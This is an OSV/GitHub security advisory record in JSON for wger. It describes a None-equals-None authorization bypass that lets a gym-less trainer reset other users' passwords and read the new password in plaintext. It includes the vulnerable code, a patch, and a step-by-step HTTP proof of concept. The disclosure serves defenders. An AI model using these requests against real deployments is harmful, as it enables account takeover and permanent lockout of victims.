Files
vuln-osv/data/PyPI/GHSA-mhc8-p3jx-84mm.json

1 line
6.4 KiB
JSON

{"schema_version":"1.9.0","id":"GHSA-mhc8-p3jx-84mm","published":"2026-05-06T19:50:31Z","modified":"2026-06-29T12:26:41.642593311Z","aliases":["CVE-2026-43948","PYSEC-2026-574"],"summary":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","details":"### Summary\n\nThe `reset_user_password` and `gym_permissions_user_edit` views in wger perform a gym-scope authorization check using Python object comparison (`!=`) that evaluates `None != None` as `False`, silently bypassing the guard when both the attacker and victim have no gym assignment (`gym=None`). A user with `gym.manage_gym` permission and `gym=None` can reset the password of **any other `gym=None` user**; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.\n\n### Details\n\n**File**: `wger/gym/views/user.py`\n\nThe authorization guard in `reset_user_password` (and the parallel check in `gym_permissions_user_edit`) uses Django ORM object comparison:\n\n```python\n# VULNERABLE - wger/gym/views/user.py\nif request.user.userprofile.gym != user.userprofile.gym:\n return HttpResponseForbidden()\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None` (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates `None != None` as `False`. The guard therefore passes without raising `HttpResponseForbidden`, and execution continues unconditionally to:\n\n```python\npassword = password_generator()\nuser.set_password(password)\nuser.save()\nreturn render(request, 'user/trainer_login.html', {'password': password, ...})\n```\n\nThe generated password is rendered verbatim in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/user/<user_pk>/reset-user-password` -> `wger.gym.views.user.reset_user_password`\n- `GET /en/gym/user/<user_pk>/edit` -> `wger.gym.views.user.gym_permissions_user_edit`\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n- if request.user.userprofile.gym != user.userprofile.gym:\n- return HttpResponseForbidden()\n+ trainer_gym_id = request.user.userprofile.gym_id # raw FK int\n+ member_gym_id = user.userprofile.gym_id\n+\n+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+ return HttpResponseForbidden()\n```\n\nThe `_id` suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit `is None` guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`.\n\n### PoC\n\nTested on `wger/server:latest` Docker image (runtime: Django 5.2.13). Two test users: `trainer1` (`gym.manage_gym` permission, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`).\n\n**Step 1** - Authenticate as trainer with `manage_gym` permission and `gym=None`:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]\n\n-> 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Trigger cross-tenant password reset:\n\n```\nGET /en/gym/user/2/reset-user-password HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-> 200 OK\n<tr><th>Password</th><td>[GENERATED_PLAINTEXT_PASSWORD]</td></tr>\n```\n\n**Step 3** - Authenticate as victim (alice) using leaked password:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\n\nusername=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]\n\n-> 302 Found; authenticated as alice\n(alice's ORIGINAL password is now invalid - permanent lockout)\n```\n\n**RBAC Disproof Protocol** (three-scenario test):\n- Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)\n- Scenario B (trainer1 gym=None -> alice gym=None) -> **HTTP 200 with plaintext password in body** (expected HTTP 403)\n- Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn attacker with `gym.manage_gym` permission and `gym=None` can:\n\n1. Reset the password of any other `gym=None` user on the wger instance.\n2. Receive the new plaintext password in the HTTP response body.\n3. Log in as the victim immediately.\n4. Permanently lock the victim out (original password invalidated).\n\n**Affected deployments**: every wger instance where `gym.manage_gym` permission is delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.\n\nThis is the same structural bug class as the sibling finding affecting `trainer_login` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - appears across five views and warrants a shared `same_gym()` helper.","affected":[{"package":{"name":"wger","ecosystem":"PyPI","purl":"pkg:pypi/wger"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"],"database_specific":{"last_known_affected_version_range":"<= 2.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-mhc8-p3jx-84mm/GHSA-mhc8-p3jx-84mm.json"}}],"references":[{"type":"WEB","url":"https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43948"},{"type":"PACKAGE","url":"https://github.com/wger-project/wger"}],"database_specific":{"cwe_ids":["CWE-863"],"github_reviewed":true,"github_reviewed_at":"2026-05-06T19:50:31Z","nvd_published_at":"2026-05-12T22:16:35Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}